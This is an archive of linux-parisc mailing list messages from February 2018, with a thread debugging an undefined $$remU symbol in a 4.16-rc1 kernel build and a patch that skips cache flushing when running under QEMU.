JXIyMQorCUFORENNCQklcjI2LCAlcjIxLCAlcjI2CisKKzE6ICAgICAgY21wYixDT05EKDw8
KSxuCSVyMjYsICVyMjUsMWIKKwlwZGMsbQkJJXIyMyglcjI2KQorCisJc3luYworCXN5bmNk
bWEKKwlidgkJJXIwKCVyMikKKwlub3AKKwkuZXhpdAorCisJLnByb2NlbmQKK0VORFBST0Nf
Q0ZJKHB1cmdlX2tlcm5lbF9kY2FjaGVfcmFuZ2VfYXNtKQorCiBFTlRSWV9DRkkoZmx1c2hf
dXNlcl9pY2FjaGVfcmFuZ2VfYXNtKQogCS5wcm9jCiAJLmNhbGxpbmZvIE5PX0NBTExTCg==
--------------2BAE6F35268CB68C48C05E2E--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc 4.16-rc1 error: ERROR: "$$remU" [drivers/net/tun.ko]
 undefined!
Date: Tue, 13 Feb 2018 15:55:12 +0200 (EET)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1518532000 16491 195.159.176.226 (13 Feb 2018 14:26:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 14:26:40 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 15:26:35 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elbX5-0001x6-VK
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 15:26:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935370AbeBMO2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Feb 2018 09:28:12 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:59724 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933612AbeBMO2L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Feb 2018 09:28:11 -0500
X-Greylist: delayed 1974 seconds by postgrey-1.27 at vger.kernel.org; Tue, 13 Feb 2018 09:28:10 EST
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id D2C8390353
        for <linux-parisc@vger.kernel.org>; Tue, 13 Feb 2018 15:55:14 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id B7A8D221E30; Tue, 13 Feb 2018 15:55:12 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 61EAE221A21
        for <linux-parisc@vger.kernel.org>; Tue, 13 Feb 2018 15:55:12 +0200 (EET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28295>

I am compiling todays git on HP A500 (Gentoo) and it fails with this 
error. Strange thing is that it did work on RP3410 and RP3440 - I may 
have different kernel configuration there but Gentoo state is roughly 
the same (maybe days apart but not months).

  MODPOST 9 modules
ERROR: "$$remU" [drivers/net/tun.ko] undefined!
make[1]: *** [scripts/Makefile.modpost:92: __modpost] Error 1


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.16-rc1 error: ERROR: "$$remU" [drivers/net/tun.ko]
 undefined!
Date: Tue, 13 Feb 2018 14:31:05 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
References: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1518550156 2175 195.159.176.226 (13 Feb 2018 19:29:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 19:29:16 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 20:29:11 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elgGE-00074j-EF
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 20:29:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965671AbeBMTbH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Feb 2018 14:31:07 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:52093 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S965650AbeBMTbG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Feb 2018 14:31:06 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180213193105.UJCB19887.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 13 Feb 2018 14:31:05 -0500
Original-Received: from [192.168.0.138] (really [76.69.61.251]) by mtlspm02.bell.net
          with ESMTP
          id <20180213193105.JTHT6415.mtlspm02.bell.net@[192.168.0.138]>;
          Tue, 13 Feb 2018 14:31:05 -0500
In-Reply-To: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=sPr2bQNwUq4OOp8ihPfSDQ==:17 a=IkcTkHD0fZMA:10 a=Op4juWPpsa0A:10 a=FBHGMhGWAAAA:8 a=rJhE5vwLJrynY18O9moA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28296>

On 2018-02-13 8:55 AM, Meelis Roos wrote:
>    MODPOST 9 modules
> ERROR: "$$remU" [drivers/net/tun.ko] undefined!
> make[1]: *** [scripts/Makefile.modpost:92: __modpost] Error 1
I believe $$remU comes from the millicode library milli.a.  It is 
bundled with compiler.
Try adding V=1 to the make command so you can see the gcc command for 
the above.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.16-rc1 error: ERROR: "$$remU" [drivers/net/tun.ko]
 undefined!
Date: Tue, 13 Feb 2018 21:55:00 +0200 (EET)
Lines: 42
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1802132145050.24929@math.ut.ee>
References: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee> <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1518551605 9043 195.159.176.226 (13 Feb 2018 19:53:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 19:53:25 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 20:53:20 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elgdO-0007az-T3
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 20:52:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965603AbeBMTzE convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Feb 2018 14:55:04 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:40684 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965599AbeBMTzE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Feb 2018 14:55:04 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id B0DC7902D5;
        Tue, 13 Feb 2018 21:55:02 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 930BC221E34; Tue, 13 Feb 2018 21:55:00 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 8825C220D33;
        Tue, 13 Feb 2018 21:55:00 +0200 (EET)
In-Reply-To: <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28297>

> On 2018-02-13 8:55 AM, Meelis Roos wrote:
> >    MODPOST 9 modules
> > ERROR: "$$remU" [drivers/net/tun.ko] undefined!
> > make[1]: *** [scripts/Makefile.modpost:92: __modpost] Error 1
> I believe $$remU comes from the millicode library milli.a.  It is bundled with
> compiler.
> Try adding V=1 to the make command so you can see the gcc command for the
> above.

The command is modpost:

  find .tmp_versions -name '*.mod' | xargs -r grep -h '\.ko$' | sort -u | sed 's/\.ko$/.o/' | scripts/mod/modpost   -o ./Module.symvers    -S    -s -T -
ERROR: "$$remU" [drivers/net/tun.ko] undefined!

hppa64-linux-objdump --disassemble drivers/net/tun.ko
and
hppa64-linux-nm drivers/net/tun.ko
do not show any sign of the $$remU.

mroos@a500 ~/linux $ fgrep -r '$$remU' arch/parisc/ 
arch/parisc/kernel/parisc_ksyms.c:extern void $$remU(void);
arch/parisc/kernel/parisc_ksyms.c:EXPORT_SYMBOL($$remU);

It's in /usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/libgcc.a

CONFIG_CROSS_COMPILE="hppa64-linux-" - maybe modpost gets this wrong 
somehow?

mroos@a500 ~/linux $ file scripts/mod/modpost
scripts/mod/modpost: ELF 32-bit MSB executable, PA-RISC, *unknown arch 0xf* version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, not stripped

This is strange, *unknown arch 0xf* ?? This hould be native binary... 
yes, all my binaries under /bin have this arch, so my toolchain is 
broken is some funny way...

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.16-rc1 error: ERROR: "$$remU" [drivers/net/tun.ko]
 undefined!
Date: Tue, 13 Feb 2018 21:18:18 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <c841cc8a-fc82-3a3e-d1b2-138d05a98c42@gmx.de>
References: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee>
 <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
 <alpine.LRH.2.21.1802132145050.24929@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1518553003 8750 195.159.176.226 (13 Feb 2018 20:16:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 20:16:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 21:16:39 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elh02-0000SG-O4
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 21:16:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965648AbeBMUS2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Feb 2018 15:18:28 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:48431 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965767AbeBMUS0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Feb 2018 15:18:26 -0500
Original-Received: from [192.168.20.60] ([89.244.189.156]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M3MAG-1eUADE1Cu8-00qvxn; Tue, 13
 Feb 2018 21:18:20 +0100
In-Reply-To: <alpine.LRH.2.21.1802132145050.24929@math.ut.ee>
Content-Language: en-US
X-Provags-ID: V03:K0:M0kxkudKE5GqPmu0s0Pw39gVcuuIpasUykL5pmXhEI3xK2QKfiq
 brIrXNEzVyX/+qi4m915pyO3ZrpRuJIjwf/omHh6QIsfYzeMQ2Ie0RN8WwfFEVQtzb09Szc
 qv3XvFfksCRZ3YUqvasn6M/+7/CQRjKR3WEtki+yRf5MJkFyTmM+D3qzPD7eIQj7y1fw0Vt
 F51i08r/lTvoaRrAfVHvg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NSGLcwK58gc=:1n1/bH5iYn1UKcWGcOtlFJ
 3NIiVFcUyaG21gOzVP8I/v6sVgszoZ5znVPWixl4jGN6y/DGPL0y9YPSi6V7fGnAFjGJyz6FY
 1UHuAX/pibRtPXg/5K2k8JCEd5m3f/CtUONXf+9vBIPWfiOiYmV690tXtq1QkQDKgBhPqVmBu
 S3YRCXMaVKxcrzdBvM4sZypmMcuQFUmKPmmy6zLRudnjF2oGMEIGgjVqbHrVKabQv9inRtDxH
 xrXvA+fTMkYFCDFJkZiRfzIa0NFFjYy/an2JIup3I5hvoQeuNmKPrSzDGq5BTRdf0fU5nqEKO
 Xo5jmxpPfMXyLLGIPxJT9KlUzFAHwzraDSJqqztkDM25gwyEjpW6tHldRXDpcmrFG+CUUUJtt
 Z7UO0Q7coOn+Ri2LahESWUpAcVk4mbgcW2TLGY/KQcqaAZM07z8b3xTjjpqsgHIfiX94nezfT
 nv0d24k69elYo3f4fYdZuKishX/LSlaNLUeum6lDRTOTtOeRuvYM/zmDM6GT/nL4/1U0f7GwI
 YefXQzg4OnLlET4b1MFTgIbM40SbO9CWu8zhzuEHzariSlVaZr2D88KOX8cNgA9mXw7NPPgSF
 kF29M8d7RnnSrSGDx8fa5u+GxK06AN6b2yPHlYZBOizpjRR2phOxNfYYLASrQj/2BZVJf2CcY
 PYztEt5QxCl3dPrNapqVQWQAojPD0F0A7l27FhKbO9u/bPYHdHvXCUpiS8rtmpqBjzO68Y2ai
 K2FCIMIZVGgI/BHWZJUUhYA6ZUIs8BqNFVB0Xdh/ULxnc4Z7N61XcAVpgeMGpmtjEox6v+I6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28298>

On 13.02.2018 20:55, Meelis Roos wrote:
>> On 2018-02-13 8:55 AM, Meelis Roos wrote:
>>>    MODPOST 9 modules
>>> ERROR: "$$remU" [drivers/net/tun.ko] undefined!
>>> make[1]: *** [scripts/Makefile.modpost:92: __modpost] Error 1
>> I believe $$remU comes from the millicode library milli.a.  It is bundled with
>> compiler.
>> Try adding V=1 to the make command so you can see the gcc command for the
>> above.
> 
> The command is modpost:
> 
>   find .tmp_versions -name '*.mod' | xargs -r grep -h '\.ko$' | sort -u | sed 's/\.ko$/.o/' | scripts/mod/modpost   -o ./Module.symvers    -S    -s -T -
> ERROR: "$$remU" [drivers/net/tun.ko] undefined!
> 
> hppa64-linux-objdump --disassemble drivers/net/tun.ko
> and
> hppa64-linux-nm drivers/net/tun.ko
> do not show any sign of the $$remU.
> 
> mroos@a500 ~/linux $ fgrep -r '$$remU' arch/parisc/ 
> arch/parisc/kernel/parisc_ksyms.c:extern void $$remU(void);
> arch/parisc/kernel/parisc_ksyms.c:EXPORT_SYMBOL($$remU);

Yes, that's correct.
The linux kernel executable should link in libgcc.a, thus include
the $$remU symbol (from libgcc.a) and then be able to export it to
linux kernel modules if necessary. 
 
> It's in /usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/libgcc.a

Yes, it should be in some libgcc.a file which is linked into the kernel.
For me:
root@phantom:/usr/lib# hppa64-linux-gnu-objdump -x ./gcc/hppa64-linux-gnu/4.9/libgcc.a | grep remU | grep text
0000000000000000 g       .text  0000000000000144 .hidden $$remU


> CONFIG_CROSS_COMPILE="hppa64-linux-" - maybe modpost gets this wrong 
> somehow?

It says for you:
> ERROR: "$$remU" [drivers/net/tun.ko] undefined!

I would be astonished if $$remU hasn't been included in your kernel executable.

> mroos@a500 ~/linux $ file scripts/mod/modpost
> scripts/mod/modpost: ELF 32-bit MSB executable, PA-RISC, *unknown arch 0xf* version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, not stripped
> 
> This is strange, *unknown arch 0xf* ?? This hould be native binary... 
> yes, all my binaries under /bin have this arch, so my toolchain is 
> broken is some funny way...

That's normal and not related to your $$remU problem.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Improve cache flushing under qemu
Date: Tue, 13 Feb 2018 23:10:10 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20180213221010.GA27272@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1518559728 24502 195.159.176.226 (13 Feb 2018 22:08:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 13 Feb 2018 22:08:48 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 13 23:08:44 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elikI-00005g-Ov
	for glpp-linux-parisc@m.gmane.org; Tue, 13 Feb 2018 23:08:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965900AbeBMWKU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 13 Feb 2018 17:10:20 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:55639 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965898AbeBMWKU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 13 Feb 2018 17:10:20 -0500
Original-Received: from ls3530.fritz.box ([89.244.189.156]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MMBun-1etB281xoT-0084kG; Tue, 13
 Feb 2018 23:10:13 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:al3z3c9bej/hwURVbEOIlskj8qJp7+LjUQ9dkijPltUosnV9mMZ
 J5fUEZlGrrxm0Gf4VOKGhw4dbML2LaSVYDdQFJEutJpxeCf+06wiMwJVNBp0vyOz0vQ5q6G
 zprwsS6tigME5uSxahH+bg/levbOFvcUTQBERPjhka1JeUZczk6nspvSP9T6Sj8Js2shgmy
 vX+Ddj2RJG9DOXl5tm8EA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:lGZpBoQdzFQ=:9xAAzp0sx7a7Xx4MQniN+L
 JnI4GM/+SxZw4l+UsQI8XcD7D0LW4uzszMY5GK0W+BTRJBxKgyh5TglcbN1mEt9Cqkfbroz1U
 k48nWhO6c91x0Hz7pP2OlNBHyZDwFhQKjZMi3n4nQkGsPBOESTWWQd6qks6LXWiY0JQxVz/oz
 1+hkBKIGVTOln4RmQzhyo0sSpgwhpzHCqB0Wn0Se87tu/m9FXZd2TV+NF7B9HAV+tHDxK7GqG
 Ndfyn3BdTTHyb5E6FnX7eH7UCowX3pjcpG7Jvx4Fz88L3Zg4GYlfu66Zlf3ZtmddQvbrt/PCc
 k4BqBJIhYF//X8lfY8Om2Nbz/FOWo5eGMl4urcr3ezbL0/vgX5sHe787ltIP2iz0pPyXQSqv4
 hYtcGi7xuvlkLO9evc2QagRm9TFVt1tY6OKLJjE+vbRv1S2+Rj/w9n6AkW4a9xXm4ZyUei8O6
 RxQCawL63OOIbDVZCNth5A6vAF/atuYbTOrY8i4pw4paIlnqF/fsGL40Xk7QGl+PoX04kS4AH
 B8QwMl32bdEdUP4mOOwt7EDUefCAEa4pvJxalJ1D6VIsSO18k1nh30p5ywywvN4Ler/6TlNiy
 L5VxgiyTzuJUtASdz2WM8iERQR+xLortHby+ircWxuCFwnJiadBeGIwakyPx1nLL/Ydp2Hu4H
 Tm8pme3AgEoRJbi6DMQceavhrtWA09SXKFWvK4Nl/wetaedWOVVY9R6ZnqlDW7wGJtgrBKjnC
 gznKA6NJ1NP532fgjWksjWZfumGIjruimv0ZkXubH63OJVz7W41TWRBR5bIp4jsZpZGM0cSD 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28299>

In QEMU we emulate a machine without any data or instruction caches.
Avoid calling the assembly cache flush functions when we have no caches
improves speed with qemu a lot.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index d5381b3e8f95..b4b6f6631d3b 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -55,11 +55,17 @@ static struct pdc_btlb_info btlb_info __read_mostly;
 void
 flush_data_cache(void)
 {
+	if (unlikely(!cache_info.dc_size))
+		return;
+
 	on_each_cpu(flush_data_cache_local, NULL, 1);
 }
 void 
 flush_instruction_cache(void)
 {
+	if (unlikely(!cache_info.ic_size))
+		return;
+
 	on_each_cpu(flush_instruction_cache_local, NULL, 1);
 }
 #endif
@@ -67,8 +73,10 @@ flush_instruction_cache(void)
 void
 flush_cache_all_local(void)
 {
-	flush_instruction_cache_local(NULL);
-	flush_data_cache_local(NULL);
+	if (likely(cache_info.ic_size))
+		flush_instruction_cache_local(NULL);
+	if (likely(cache_info.dc_size))
+		flush_data_cache_local(NULL);
 }
 EXPORT_SYMBOL(flush_cache_all_local);
 
@@ -506,7 +515,8 @@ static void cacheflush_h_tmp_function(void *dummy)
 
 void flush_cache_all(void)
 {
-	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
+	if (likely(cache_info.dc_size || cache_info.ic_size))
+		on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
 static inline unsigned long mm_total_size(struct mm_struct *mm)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:41:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc 4.16-rc1 error: ERROR: "$$remU" [drivers/net/tun.ko]
 undefined!
Date: Wed, 14 Feb 2018 16:20:02 +0200 (EET)
Lines: 12
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1802141618460.25362@math.ut.ee>
References: <alpine.LRH.2.21.1802131552240.9153@math.ut.ee> <5abecbed-e50f-e41c-1fd1-a7bcc4768f2a@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1518617903 17741 195.159.176.226 (14 Feb 2018 14:18:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Feb 2018 14:18:23 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 14 15:18:19 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1elxsw-0003Ko-GC
	for glpp-linux-parisc@m.gmane.org; Wed, 14 Feb 2018 15:18:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1030704AbeBNOUK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 14 Feb 2018 09:20:10 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:38071 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1030664AbeBNOUH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 14 Feb 2018 09:20:07 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id D02CA73D6F0;
        Wed, 14 Feb 2018 16:20:04 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id B3571221BFD; Wed, 14 Feb 2018 16:20:02 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
